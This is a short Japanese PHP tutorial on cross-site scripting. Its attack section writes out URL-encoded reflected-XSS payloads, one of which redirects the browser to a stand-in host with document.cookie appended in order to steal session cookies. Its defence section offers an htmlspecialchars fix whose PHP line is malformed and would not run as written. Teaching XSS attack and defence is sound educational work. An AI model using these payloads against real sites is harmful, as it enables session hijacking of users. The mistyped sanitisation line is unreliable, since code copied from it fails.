サイト攻撃 XSS@PHP技術

さて、次はXSSです。
XSSとはブラウザやメールのリンクにスクリプトを仕込んでおいて、別のサイトを踏ませることで情報を盗み出すなどの攻撃を行う仕組みのことです。


2-3 XSS攻撃側
では、攻撃してみます。
htmlのリンクに以下のコードを含ませます。

http://〜〜.php?message=%3cscript%3ealert(document.cookie);%3c/script%3e

すると、サーバー側でリクエストからmessageを表示するロジックが組んであった場合、cookieの内容がダイアログとして表示してしまいます。
この時点で、ちょっとやばい雰囲気が漂っていますが、攻撃を続けてみましょう。

次に、先ほどのjavascript

〜〜?messeage=%3Cscript%3Edocument.location%3D%27http%3A//localhost/a/%3F%27%2Bdocument.cookie;%3C/script%3E

とすると、勝手に飛ばされて、クッキーの内容が他サイトへのリクエストとして流れてしまいます。
この"勝手に飛ばされてクッキーの内容が〜流れる"というのが問題で、もし他サイトが悪意のあるサイトだった場合、サーバーログを見るだけでアクセス元の情報(今回の例ではcookieの内容)がわかってしまうことです。

2-3 XSS防御側
XSSに対して防御をしてみます。実は対処方法は、前記のScriptInsertionの場合と同じで、サニタイズ関数を使います。

//echo '<p style="color:red;">'.$_GET['message'].'</p>' ;//↓へ変更
echo '<p style="color:red;">'htmlspecialchars(.$_GET['message'],ENT_QUOTES).'</p>' ;//XSS対応

といった感じです。
ただ、これだけでは不十分でリクエスト変数にもスクリプトを投入できてしまいますので、リクエスト変数を出力する場合にもサニタイズをかけてあげましょう。